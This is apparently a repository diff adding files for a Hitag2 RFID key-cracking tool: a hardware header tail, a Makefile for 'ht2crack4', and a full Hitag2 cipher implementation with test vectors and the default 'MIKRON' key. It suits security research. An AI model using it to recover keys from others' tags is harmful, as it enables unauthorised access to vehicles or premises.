#define SD_WE_TRIS TRISFbits.TRISF1
|
||||
// Description: The main SPI control register
|
||||
#define SPICON1 SPI1CON
|
||||
// Description: The SPI status register
|
||||
#define SPISTAT SPI1STAT
|
||||
// Description: The SPI Buffer
|
||||
#define SPIBUF SPI1BUF
|
||||
// Description: The receive buffer full bit in the SPI status register
|
||||
#define SPISTAT_RBF SPI1STATbits.SPIRBF
|
||||
// Description: The bitwise define for the SPI control register (i.e. _____bits)
|
||||
#define SPICON1bits SPI1CONbits
|
||||
// Description: The bitwise define for the SPI status register (i.e. _____bits)
|
||||
#define SPISTATbits SPI1STATbits
|
||||
// Description: The enable bit for the SPI module
|
||||
#define SPIENABLE SPICON1bits.ON
|
||||
// Description: The definition for the SPI baud rate generator register (PIC32)
|
||||
#define SPIBRG SPI1BRG
|
||||
// Description: The TRIS bit for the SCK pin
|
||||
#define SPICLOCK TRISDbits.TRISD10
|
||||
// Description: The TRIS bit for the SDI pin
|
||||
#define SPIIN TRISCbits.TRISC4
|
||||
// Description: The TRIS bit for the SDO pin
|
||||
#define SPIOUT TRISDbits.TRISD0
|
||||
#define SD_CS LATDbits.LATD9
|
||||
// Description: SD-SPI Chip Select TRIS bit
|
||||
#define SD_CS_TRIS TRISDbits.TRISD9
|
||||
//SPI library functions
|
||||
#define putcSPI putcSPI1
|
||||
#define getcSPI getcSPI1
|
||||
#define OpenSPI(config1, config2) OpenSPI1(config1, config2)
|
||||
|
||||
// Define setup parameters for OpenADC10 function
|
||||
// Turn module on | Ouput in integer format | Trigger mode auto | Enable autosample
|
||||
#define ADC_CONFIG1 (ADC_FORMAT_INTG | ADC_CLK_AUTO | ADC_AUTO_SAMPLING_ON)
|
||||
// ADC ref external | Disable offset test | Disable scan mode | Perform 2 samples | Use dual buffers | Use alternate mode
|
||||
#define ADC_CONFIG2 (ADC_VREF_AVDD_AVSS | ADC_OFFSET_CAL_DISABLE | ADC_SCAN_OFF | ADC_SAMPLES_PER_INT_1 | ADC_ALT_BUF_ON | ADC_ALT_INPUT_ON)
|
||||
|
||||
// Use ADC internal clock | Set sample time
|
||||
#define ADC_CONFIG3 (ADC_CONV_CLK_INTERNAL_RC | ADC_SAMPLE_TIME_0)
|
||||
|
||||
// slow sample rate for tuning coils
|
||||
#define ADC_CONFIG2_SLOW (ADC_VREF_AVDD_AVSS | ADC_OFFSET_CAL_DISABLE | ADC_SCAN_OFF | ADC_SAMPLES_PER_INT_16 | ADC_ALT_BUF_ON | ADC_ALT_INPUT_ON)
|
||||
#define ADC_CONFIG3_SLOW (ADC_CONV_CLK_INTERNAL_RC | ADC_SAMPLE_TIME_31)
|
||||
|
||||
// use AN11
|
||||
#define ADC_CONFIGPORT ENABLE_AN11_ANA
|
||||
// Do not assign channels to scan
|
||||
#define ADC_CONFIGSCAN SKIP_SCAN_ALL
|
||||
|
||||
#define ADC_TO_VOLTS 0.003208F
|
||||
|
||||
|
||||
// flash memory - int myvar = *(int*)(myflashmemoryaddress);
|
||||
|
||||
// memory is 0x9D005000 to 0x9D07FFFF
|
||||
|
||||
#define NVM_MEMORY_END 0x9D07FFFF
|
||||
#define NVM_PAGE_SIZE 4096
|
||||
#define NVM_PAGES 2 // config & VTAG
|
||||
#define RFIDLER_NVM_ADDRESS (NVM_MEMORY_END - (NVM_PAGE_SIZE * NVM_PAGES))
|
||||
|
||||
// UART timeout in us
|
||||
#define SERIAL_TIMEOUT 100
|
||||
|
||||
#endif
|
20
tools/hitag2crack/crack4/Makefile
Normal file
20
tools/hitag2crack/crack4/Makefile
Normal file
|
@ -0,0 +1,20 @@
|
|||
WARN=-Wall
|
||||
CFLAGS=-c $(WARN) $(INCLUDE)
|
||||
LIBS=-lpthread
|
||||
|
||||
all: ht2crack4.c HardwareProfile.h rfidler.h util.h utilpart.o hitagcrypto.o ht2crack2utils.o
|
||||
cc $(WARN) -o ht2crack4 ht2crack4.c utilpart.o hitagcrypto.o ht2crack2utils.o $(LIBS)
|
||||
|
||||
utilpart.o: utilpart.c util.h
|
||||
cc $(CFLAGS) utilpart.c
|
||||
|
||||
hitagcrypto.o: hitagcrypto.c hitagcrypto.h
|
||||
cc $(CFLAGS) hitagcrypto.c
|
||||
|
||||
ht2crack2utils.o: ht2crack2utils.c ht2crack2utils.h
|
||||
cc $(CFLAGS) ht2crack2utils.c
|
||||
|
||||
clean:
|
||||
rm -rf *.o ht2crack4
|
||||
|
||||
fresh: clean all
|
485
tools/hitag2crack/crack4/hitagcrypto.c
Normal file
485
tools/hitag2crack/crack4/hitagcrypto.c
Normal file
|
@ -0,0 +1,485 @@
|
|||
/***************************************************************************
|
||||
* A copy of the GNU GPL is appended to this file. *
|
||||
* *
|
||||
* This licence is based on the nmap licence, and we express our gratitude *
|
||||
* for the work that went into producing it. There is no other connection *
|
||||
* between RFIDler and nmap either expressed or implied. *
|
||||
* *
|
||||
********************** IMPORTANT RFIDler LICENSE TERMS ********************
|
||||
* *
|
||||
* *
|
||||
* All references to RFIDler herein imply all it's derivatives, namely: *
|
||||
* *
|
||||
* o RFIDler-LF Standard *
|
||||
* o RFIDler-LF Lite *
|
||||
* o RFIDler-LF Nekkid *
|
||||
* *
|
||||
* *
|
||||
* RFIDler is (C) 2013-2015 Aperture Labs Ltd. *
|
||||
* *
|
||||
* This program is free software; you may redistribute and/or modify it *
|
||||
* under the terms of the GNU General Public License as published by the *
|
||||
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
|
||||
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
|
||||
* right to use, modify, and redistribute this software under certain *
|
||||
* conditions. If you wish to embed RFIDler technology into proprietary *
|
||||
* software or hardware, we sell alternative licenses *
|
||||
* (contact sales@aperturelabs.com). *
|
||||
* *
|
||||
* Note that the GPL places important restrictions on "derivative works", *
|
||||
* yet it does not provide a detailed definition of that term. To avoid *
|
||||
* misunderstandings, we interpret that term as broadly as copyright law *
|
||||
* allows. For example, we consider an application to constitute a *
|
||||
* derivative work for the purpose of this license if it does any of the *
|
||||
* following with any software or content covered by this license *
|
||||
* ("Covered Software"): *
|
||||
* *
|
||||
* o Integrates source code from Covered Software. *
|
||||
* *
|
||||
* o Is designed specifically to execute Covered Software and parse the *
|
||||
* results (as opposed to typical shell or execution-menu apps, which will *
|
||||
* execute anything you tell them to). *
|
||||
* *
|
||||
* o Includes Covered Software in a proprietary executable installer. The *
|
||||
* installers produced by InstallShield are an example of this. Including *
|
||||
* RFIDler with other software in compressed or archival form does not *
|
||||
* trigger this provision, provided appropriate open source decompression *
|
||||
* or de-archiving software is widely available for no charge. For the *
|
||||
* purposes of this license, an installer is considered to include Covered *
|
||||
* Software even if it actually retrieves a copy of Covered Software from *
|
||||
* another source during runtime (such as by downloading it from the *
|
||||
* Internet). *
|
||||
* *
|
||||
* o Links (statically or dynamically) to a library which does any of the *
|
||||
* above. *
|
||||
* *
|
||||
* o Executes a helper program, module, or script to do any of the above. *
|
||||
* *
|
||||
* This list is not exclusive, but is meant to clarify our interpretation *
|
||||
* of derived works with some common examples. Other people may interpret *
|
||||
* the plain GPL differently, so we consider this a special exception to *
|
||||
* the GPL that we apply to Covered Software. Works which meet any of *
|
||||
* these conditions must conform to all of the terms of this license, *
|
||||
* particularly including the GPL Section 3 requirements of providing *
|
||||
* source code and allowing free redistribution of the work as a whole. *
|
||||
* *
|
||||
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
|
||||
* permission to link the code of this program with any version of the *
|
||||
* OpenSSL library which is distributed under a license identical to that *
|
||||
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
|
||||
* linked combinations including the two. *
|
||||
* *
|
||||
* Any redistribution of Covered Software, including any derived works, *
|
||||
* must obey and carry forward all of the terms of this license, including *
|
||||
* obeying all GPL rules and restrictions. For example, source code of *
|
||||
* the whole work must be provided and free redistribution must be *
|
||||
* allowed. All GPL references to "this License", are to be treated as *
|
||||
* including the terms and conditions of this license text as well. *
|
||||
* *
|
||||
* Because this license imposes special exceptions to the GPL, Covered *
|
||||
* Work may not be combined (even as part of a larger work) with plain GPL *
|
||||
* software. The terms, conditions, and exceptions of this license must *
|
||||
* be included as well. This license is incompatible with some other open *
|
||||
* source licenses as well. In some cases we can relicense portions of *
|
||||
* RFIDler or grant special permissions to use it in other open source *
|
||||
* software. Please contact sales@aperturelabs.com with any such requests.*
|
||||
* Similarly, we don't incorporate incompatible open source software into *
|
||||
* Covered Software without special permission from the copyright holders. *
|
||||
* *
|
||||
* If you have any questions about the licensing restrictions on using *
|
||||
* RFIDler in other works, are happy to help. As mentioned above, we also *
|
||||
* offer alternative license to integrate RFIDler into proprietary *
|
||||
* applications and appliances. These contracts have been sold to dozens *
|
||||
* of software vendors, and generally include a perpetual license as well *
|
||||
* as providing for priority support and updates. They also fund the *
|
||||
* continued development of RFIDler. Please email sales@aperturelabs.com *
|
||||
* for further information. *
|
||||
* If you have received a written license agreement or contract for *
|
||||
* Covered Software stating terms other than these, you may choose to use *
|
||||
* and redistribute Covered Software under those terms instead of these. *
|
||||
* *
|
||||
* Source is provided to this software because we believe users have a *
|
||||
* right to know exactly what a program is going to do before they run it. *
|
||||
* This also allows you to audit the software for security holes (none *
|
||||
* have been found so far). *
|
||||
* *
|
||||
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
|
||||
* and add new features. You are highly encouraged to send your changes *
|
||||
* to the RFIDler mailing list for possible incorporation into the *
|
||||
* main distribution. By sending these changes to Aperture Labs Ltd. or *
|
||||
* one of the Aperture Labs Ltd. development mailing lists, or checking *
|
||||
* them into the RFIDler source code repository, it is understood (unless *
|
||||
* you specify otherwise) that you are offering the RFIDler Project *
|
||||
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
|
||||
* modify, and relicense the code. RFIDler will always be available Open *
|
||||
* Source, but this is important because the inability to relicense code *
|
||||
* has caused devastating problems for other Free Software projects (such *
|
||||
* as KDE and NASM). We also occasionally relicense the code to third *
|
||||
* parties as discussed above. If you wish to specify special license *
|
||||
* conditions of your contributions, just say so when you send them. *
|
||||
* *
|
||||
* This program is distributed in the hope that it will be useful, but *
|
||||
* WITHOUT ANY WARRANTY; without even the implied warranty of *
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
|
||||
* license file for more details (it's in a COPYING file included with *
|
||||
* RFIDler, and also available from *
|
||||
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
|
||||
* *
|
||||
***************************************************************************/
|
||||
|
||||
// Author: unknown.
|
||||
// Modifications for RFIDler: Tony Naggs <tony.naggs@gmail.com>, Adam Laurie <adam@aperturelabs.com>
|
||||
|
||||
// uncomment this to build file as a standalone crypto test program
|
||||
// #define UNIT_TEST
|
||||
// also uncomment to include verbose debug prints
|
||||
// #define TEST_DEBUG
|
||||
|
||||
//#include <GenericTypeDefs.h>
|
||||
#include "HardwareProfile.h"
|
||||
#include "rfidler.h"
|
||||
#include "hitagcrypto.h"
|
||||
#include "util.h"
|
||||
|
||||
#ifdef UNIT_TEST
|
||||
#include <stdio.h>
|
||||
#endif
|
||||
|
||||
#if defined(UNIT_TEST) && defined(TEST_DEBUG)
|
||||
// Note that printf format %I64x prints 64 bit ints in MS Visual C/C++.
|
||||
// This may need changing for other compilers/platforms.
|
||||
#define DEBUG_PRINTF(...) printf(__VA_ARGS__)
|
||||
#else
|
||||
#define DEBUG_PRINTF(...)
|
||||
#endif
|
||||
|
||||
|
||||
/* Brief info about NXP Hitag 1, Hitag 2, Hitag S and Hitag u (mu)
|
||||
|
||||
Hitag 125kHz RFID was created by a company called Mikron (Mikron Gesellschaft
|
||||
fur Integrierte Mikroelektronik Mbh), of Austria, for micropayment applications.
|
||||
At about the same time, late 1980s to early 1990s, Mikron developed the
|
||||
similarly featured Mifare micropayment card for 13.56MHz RFID.
|
||||
(Mikron's European Patent EP 0473569 A2 was filed 23 August 1991, with a
|
||||
priority date of 23 Aug 1990.)
|
||||
Mikron was subsequently acquired by Philips Semiconductors in 1995.
|
||||
Philips Semiconductors divsion subsequently became NXP.
|
||||
|
||||
+ Modulation read/write device -> transponder: 100 % ASK and binary pulse
|
||||
length coding
|
||||
+ Modulation transponder -> read/write device: Strong ASK modulation,
|
||||
selectable Manchester or Biphase coding
|
||||
+ Hitag S, Hitag u; anti-collision procedure
|
||||
+ Fast anti-collision protocol
|
||||
+ Hitag u; optional Cyclic Redundancy Check (CRC)
|
||||
+ Reader Talks First mode
|
||||
+ Hitag 2 & later; Transponder Talks First (TTF) mode
|
||||
+ Temporary switch from Transponder Talks First into Reader Talks First
|
||||
(RTF) Mode
|
||||
+ Data rate read/write device to transponder: 5.2 kbit/s
|
||||
+ Data rates transponder to read/write device: 2 kbit/s, 4 kbit/s, 8 kbit/s
|
||||
+ 32-bit password feature
|
||||
+ Hitag 2, S = 32-bit Unique Identifier
|
||||
+ Hitag u = 48-bit Unique Identifier
|
||||
+ Selectable password modes for reader / tag mutual authentication
|
||||
(Hitag 1 has 2 pairs of keys, later versions have 1 pair)
|
||||
+ Hitag 2 & Hitag S; Selectable encrypted mode, 48 bit key
|
||||
|
||||
Known tag types:
|
||||
|
||||
HITAG 1 2048 bits total memory
|
||||
|
||||
HITAG 2 256 Bit total memory Read/Write
|
||||
8 pages of 32 bits, inc UID (32),
|
||||
secret key (64), password (24), config (8)
|
||||
|
||||
HITAG S 32 32 bits Unique Identifier Read Only
|
||||
HITAG S 256 256 bits total memory Read/Write
|
||||
HITAG S 2048 2048 bits total memory Read/Write
|
||||
|
||||
HITAG u RO64 64 bits total memory Read Only
|
||||
HITAG u 128 bits total memory Read/Write
|
||||
HITAG u Advanced 512 bits total memory Read/Write
|
||||
HITAG u Advanced+ 1760 bits total memory Read/Write
|
||||
|
||||
Default 48-bit key for Hitag 2, S encryption:
|
||||
"MIKRON" = O N M I K R
|
||||
Key = 4F 4E 4D 49 4B 52
|
||||
|
||||
*/
|
||||
|
||||
|
||||
// We want the crypto functions to be as fast as possible, so optimize!
|
||||
// The best compiler optimization in Microchip's free XC32 edition is -O1
|
||||
#pragma GCC optimize("O1")
|
||||
|
||||
// private, nonlinear function to generate 1 crypto bit
|
||||
static uint32_t hitag2_crypt(uint64_t x);
|
||||
|
||||
|
||||
// macros to pick out 4 bits in various patterns of 1s & 2s & make a new number
|
||||
#define pickbits2_2(S, A, B) ( ((S >> A) & 3) | ((S >> (B - 2)) & 0xC) )
|
||||
#define pickbits1x4(S, A, B, C, D) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \
|
||||
((S >> (C - 2)) & 4) | ((S >> (D - 3)) & 8) )
|
||||
#define pickbits1_1_2(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \
|
||||
((S >> (C - 2)) & 0xC) )
|
||||
#define pickbits2_1_1(S, A, B, C) ( ((S >> A) & 3) | ((S >> (B - 2)) & 4) | \
|
||||
((S >> (C - 3)) & 8) )
|
||||
#define pickbits1_2_1(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 6) | \
|
||||
((S >> (C - 3)) & 8) )
|
||||
|
||||
|
||||
static uint32_t hitag2_crypt(uint64_t s)
|
||||
{
|
||||
const uint32_t ht2_function4a = 0x2C79; // 0010 1100 0111 1001
|
||||
const uint32_t ht2_function4b = 0x6671; // 0110 0110 0111 0001
|
||||
const uint32_t ht2_function5c = 0x7907287B; // 0111 1001 0000 0111 0010 1000 0111 1011
|
||||
uint32_t bitindex;
|
||||
|
||||
bitindex = (ht2_function4a >> pickbits2_2 (s, 1, 4)) & 1;
|
||||
bitindex |= ((ht2_function4b << 1) >> pickbits1_1_2 (s, 7, 11, 13)) & 0x02;
|
||||
bitindex |= ((ht2_function4b << 2) >> pickbits1x4 (s, 16, 20, 22, 25)) & 0x04;
|
||||
bitindex |= ((ht2_function4b << 3) >> pickbits2_1_1 (s, 27, 30, 32)) & 0x08;
|
||||
bitindex |= ((ht2_function4a << 4) >> pickbits1_2_1(s, 33, 42, 45)) & 0x10;
|
||||
|
||||
DEBUG_PRINTF("hitag2_crypt bitindex = %02x\n", bitindex);
|
||||
return (ht2_function5c >> bitindex) & 1;
|
||||
}
|
||||
|
||||
/*
|
||||
* Parameters:
|
||||
* Hitag_State* pstate - output, internal state after initialisation
|
||||
* uint64_t sharedkey - 48 bit key shared between reader & tag
|
||||
* uint32_t serialnum - 32 bit tag serial number
|
||||
* uint32_t initvector - 32 bit random IV from reader, part of tag authentication
|
||||
*/
|
||||
void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum, uint32_t initvector)
|
||||
{
|
||||
// init state, from serial number and lowest 16 bits of shared key
|
||||
uint64_t state = ((sharedkey & 0xFFFF) << 32) | serialnum;
|
||||
|
||||
// mix the initialisation vector and highest 32 bits of the shared key
|
||||
initvector ^= (uint32_t) (sharedkey >> 16);
|
||||
|
||||
// move 16 bits from (IV xor Shared Key) to top of uint64_t state
|
||||
// these will be XORed in turn with output of the crypto function
|
||||
state |= (uint64_t) initvector << 48;
|
||||
initvector >>= 16;
|
||||
|
||||
// unrolled loop is faster on PIC32 (MIPS), do 32 times
|
||||
// shift register, then calc new bit
|
||||
state >>= 1;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
|
||||
// highest 16 bits of IV XOR Shared Key
|
||||
state |= (uint64_t) initvector << 47;
|
||||
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state ^= (uint64_t) hitag2_crypt(state) << 47;
|
||||
|
||||
DEBUG_PRINTF("hitag2_init result = %012I64x\n", state);
|
||||
pstate->shiftreg = state;
|
||||
/* naive version for reference, LFSR has 16 taps
|
||||
pstate->lfsr = state ^ (state >> 2) ^ (state >> 3) ^ (state >> 6)
|
||||
^ (state >> 7) ^ (state >> 8) ^ (state >> 16) ^ (state >> 22)
|
||||
^ (state >> 23) ^ (state >> 26) ^ (state >> 30) ^ (state >> 41)
|
||||
^ (state >> 42) ^ (state >> 43) ^ (state >> 46) ^ (state >> 47);
|
||||
*/
|
||||
{
|
||||
// optimise with one 64-bit intermediate
|
||||
uint64_t temp = state ^ (state >> 1);
|
||||
pstate->lfsr = state ^ (state >> 6) ^ (state >> 16)
|
||||
^ (state >> 26) ^ (state >> 30) ^ (state >> 41)
|
||||
^ (temp >> 2) ^ (temp >> 7) ^ (temp >> 22)
|
||||
^ (temp >> 42) ^ (temp >> 46);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* Return up to 32 crypto bits.
|
||||
* Last bit is in least significant bit, earlier bits are shifted left.
|
||||
* Note that the Hitag transmission protocol is least significant bit,
|
||||
* so we may want to change this, or add a function, that returns the
|
||||
* crypto output bits in the other order.
|
||||
*
|
||||
* Parameters:
|
||||
* Hitag_State* pstate - in/out, internal cipher state after initialisation
|
||||
* uint32_t steps - number of bits requested, (capped at 32)
|
||||
*/
|
||||
uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps)
|
||||
{
|
||||
uint64_t state = pstate->shiftreg;
|
||||
uint32_t result = 0;
|
||||
uint64_t lfsr = pstate->lfsr;
|
||||
|
||||
if (steps == 0)
|
||||
return 0;
|
||||
|
||||
// if (steps > 32)
|
||||
// steps = 32;
|
||||
|
||||
do {
|
||||
// update shift registers
|
||||
if (lfsr & 1) {
|
||||
state = (state >> 1) | 0x800000000000;
|
||||
lfsr = (lfsr >> 1) ^ 0xB38083220073;
|
||||
|
||||
// accumulate next bit of crypto
|
||||
result = (result << 1) | hitag2_crypt(state);
|
||||
} else {
|
||||
state >>= 1;
|
||||
lfsr >>= 1;
|
||||
|
||||
result = (result << 1) | hitag2_crypt(state);
|
||||
}
|
||||
} while (--steps);
|
||||
|
||||
DEBUG_PRINTF("hitag2_nstep state = %012I64x, result %02x\n", state, result);
|
||||
pstate->shiftreg = state;
|
||||
pstate->lfsr = lfsr;
|
||||
return result;
|
||||
}
|
||||
|
||||
// end of crypto core, revert to default optimization level
|
||||
#pragma GCC reset_options
|
||||
|
||||
|
||||
/* Test code
|
||||
|
||||
Test data and below information about it comes from
|
||||
http://www.mikrocontroller.net/attachment/102194/hitag2.c
|
||||
Written by "I.C. Wiener 2006-2007"
|
||||
|
||||
"MIKRON" = O N M I K R
|
||||
Key = 4F 4E 4D 49 4B 52 - Secret 48-bit key
|
||||
Serial = 49 43 57 69 - Serial number of the tag, transmitted in clear
|
||||
Random = 65 6E 45 72 - Random IV, transmitted in clear
|
||||
~28~DC~80~31 = D7 23 7F CE - Authenticator value = inverted first 4 bytes of the keystream
|
||||
|
||||
The code below must print out "D7 23 7F CE 8C D0 37 A9 57 49 C1 E6 48 00 8A B6".
|
||||
The inverse of the first 4 bytes is sent to the tag to authenticate.
|
||||
The rest is encrypted by XORing it with the subsequent keystream.
|
||||
|
||||
*/
|
||||
|
||||
|
||||
/*
|
||||
unsigned int hitag2_benchtest_gen32()
|
||||
{
|
||||
const uint64_t key = 0x4ad292b272f2;
|
||||
const uint32_t serial = 0x96eac292;
|
||||
const uint32_t initvec = 0x4ea276a6;
|
||||
Hitag_State state;
|
||||
|
||||
// init crypto
|
||||
hitag2_init(&state, key, serial, initvec);
|
||||
|
||||
// benchmark: generation of 32 bit stream (excludes initialisation)
|
||||
GetTimer_us(RESET);
|
||||
|
||||
(void) hitag2_nstep(&state, 32);
|
||||
|
||||
return GetTimer_us(NO_RESET);
|
||||
}
|
||||
|
||||
|
||||
unsigned int hitag2_benchtest(uint32_t count)
|
||||
{
|
||||
const uint64_t key = 0x4ad292b272f2;
|
||||
const uint32_t serial = 0x96eac292;
|
||||
const uint32_t initvec = 0x4ea276a6;
|
||||
Hitag_State state;
|
||||
uint32_t i;
|
||||
|
||||
// start timer
|
||||
GetTimer_us(RESET);
|
||||
|
||||
// benchmark: initialise crypto & generate 32 bit authentication
|
||||
// adding i stops gcc optimizer moving init function call out of loop
|
||||
for (i = 0; i < count; i++) {
|
||||
hitag2_init(&state, key, serial, initvec + i);
|
||||
(void) hitag2_nstep(&state, 32);
|
||||
}
|
||||
|
||||
return GetTimer_us(NO_RESET);
|
||||
}
|
||||
|
||||
|
||||
unsigned hitag2_verifytest()
|
||||
{
|
||||
uint8_t expected[16] = { 0xD7, 0x23, 0x7F, 0xCE, 0x8C, 0xD0, 0x37, 0xA9, 0x57, 0x49, 0xC1, 0xE6, 0x48, 0x00, 0x8A, 0xB6 };
|
||||
// key = 0x4ad292b272f2 after each byte has its bit order reversed
|
||||
// serial = 0x96eac292 ditto
|
||||
// initvec = 0x4ea276a6 ditto
|
||||
const uint64_t key = rev64 (0x524B494D4E4FUL);
|
||||
const uint32_t serial = rev32 (0x69574349);
|
||||
const uint32_t initvec = rev32 (0x72456E65);
|
||||
|
||||
uint32_t i;
|
||||
Hitag_State state;
|
||||
|
||||
// initialise
|
||||
hitag2_init(&state, key, serial, initvec);
|
||||
|
||||
for (i = 0; i < 16; i++) {
|
||||
// get 8 bits of keystream
|
||||
uint8_t x = (uint8_t) hitag2_nstep(&state, 8);
|
||||
uint8_t y = expected[i];
|
||||
|
||||
DEBUG_PRINTF ("%02X (%02X) \n", x, y);
|
||||
if (x != y)
|
||||
return 0;
|
||||
}
|
||||
|
||||
return 1;
|
||||
}
|
||||
*/
|
||||
|
||||
#ifdef UNIT_TEST
|
||||
|
||||
int main(int argc, char* argv[])
|
||||
{
|
||||
unsigned pass = hitag2_verifytest();
|
||||
|
||||
printf ("Crypto Verify test = %s\n\n", pass ? "PASS" : "FAIL");
|
||||
|
||||
if (pass) {
|
||||
hitag2_benchtest(10000);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif // UNIT_TEST
|
171
tools/hitag2crack/crack4/hitagcrypto.h
Normal file
171
tools/hitag2crack/crack4/hitagcrypto.h
Normal file
|
@ -0,0 +1,171 @@
|
|||
/***************************************************************************
|
||||
* A copy of the GNU GPL is appended to this file. *
|
||||
* *
|
||||
* This licence is based on the nmap licence, and we express our gratitude *
|
||||
* for the work that went into producing it. There is no other connection *
|
||||
* between RFIDler and nmap either expressed or implied. *
|
||||
* *
|
||||
********************** IMPORTANT RFIDler LICENSE TERMS ********************
|
||||
* *
|
||||
* *
|
||||
* All references to RFIDler herein imply all it's derivatives, namely: *
|
||||
* *
|
||||
* o RFIDler-LF Standard *
|
||||
* o RFIDler-LF Lite *
|
||||
* o RFIDler-LF Nekkid *
|
||||
* *
|
||||
* *
|
||||
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
|
||||
* *
|
||||
* This program is free software; you may redistribute and/or modify it *
|
||||
* under the terms of the GNU General Public License as published by the *
|
||||
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
|
||||
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
|
||||
* right to use, modify, and redistribute this software under certain *
|
||||
* conditions. If you wish to embed RFIDler technology into proprietary *
|
||||
* software or hardware, we sell alternative licenses *
|
||||
* (contact sales@aperturelabs.com). *
|
||||
* *
|
||||
* Note that the GPL places important restrictions on "derivative works", *
|
||||
* yet it does not provide a detailed definition of that term. To avoid *
|
||||
* misunderstandings, we interpret that term as broadly as copyright law *
|
||||
* allows. For example, we consider an application to constitute a *
|
||||
* derivative work for the purpose of this license if it does any of the *
|
||||
* following with any software or content covered by this license *
|
||||
* ("Covered Software"): *
|
||||
* *
|
||||
* o Integrates source code from Covered Software. *
|
||||
* *
|
||||
* o Is designed specifically to execute Covered Software and parse the *
|
||||
* results (as opposed to typical shell or execution-menu apps, which will *
|
||||
* execute anything you tell them to). *
|
||||
* *
|
||||
* o Includes Covered Software in a proprietary executable installer. The *
|
||||
* installers produced by InstallShield are an example of this. Including *
|
||||
* RFIDler with other software in compressed or archival form does not *
|
||||
* trigger this provision, provided appropriate open source decompression *
|
||||
* or de-archiving software is widely available for no charge. For the *
|
||||
* purposes of this license, an installer is considered to include Covered *
|
||||
* Software even if it actually retrieves a copy of Covered Software from *
|
||||
* another source during runtime (such as by downloading it from the *
|
||||
* Internet). *
|
||||
* *
|
||||
* o Links (statically or dynamically) to a library which does any of the *
|
||||
* above. *
|
||||
* *
|
||||
* o Executes a helper program, module, or script to do any of the above. *
|
||||
* *
|
||||
* This list is not exclusive, but is meant to clarify our interpretation *
|
||||
* of derived works with some common examples. Other people may interpret *
|
||||
* the plain GPL differently, so we consider this a special exception to *
|
||||
* the GPL that we apply to Covered Software. Works which meet any of *
|
||||
* these conditions must conform to all of the terms of this license, *
|
||||
* particularly including the GPL Section 3 requirements of providing *
|
||||
* source code and allowing free redistribution of the work as a whole. *
|
||||
* *
|
||||
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
|
||||
* permission to link the code of this program with any version of the *
|
||||
* OpenSSL library which is distributed under a license identical to that *
|
||||
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
|
||||
* linked combinations including the two. *
|
||||
* *
|
||||
* Any redistribution of Covered Software, including any derived works, *
|
||||
* must obey and carry forward all of the terms of this license, including *
|
||||
* obeying all GPL rules and restrictions. For example, source code of *
|
||||
* the whole work must be provided and free redistribution must be *
|
||||
* allowed. All GPL references to "this License", are to be treated as *
|
||||
* including the terms and conditions of this license text as well. *
|
||||
* *
|
||||
* Because this license imposes special exceptions to the GPL, Covered *
|
||||
* Work may not be combined (even as part of a larger work) with plain GPL *
|
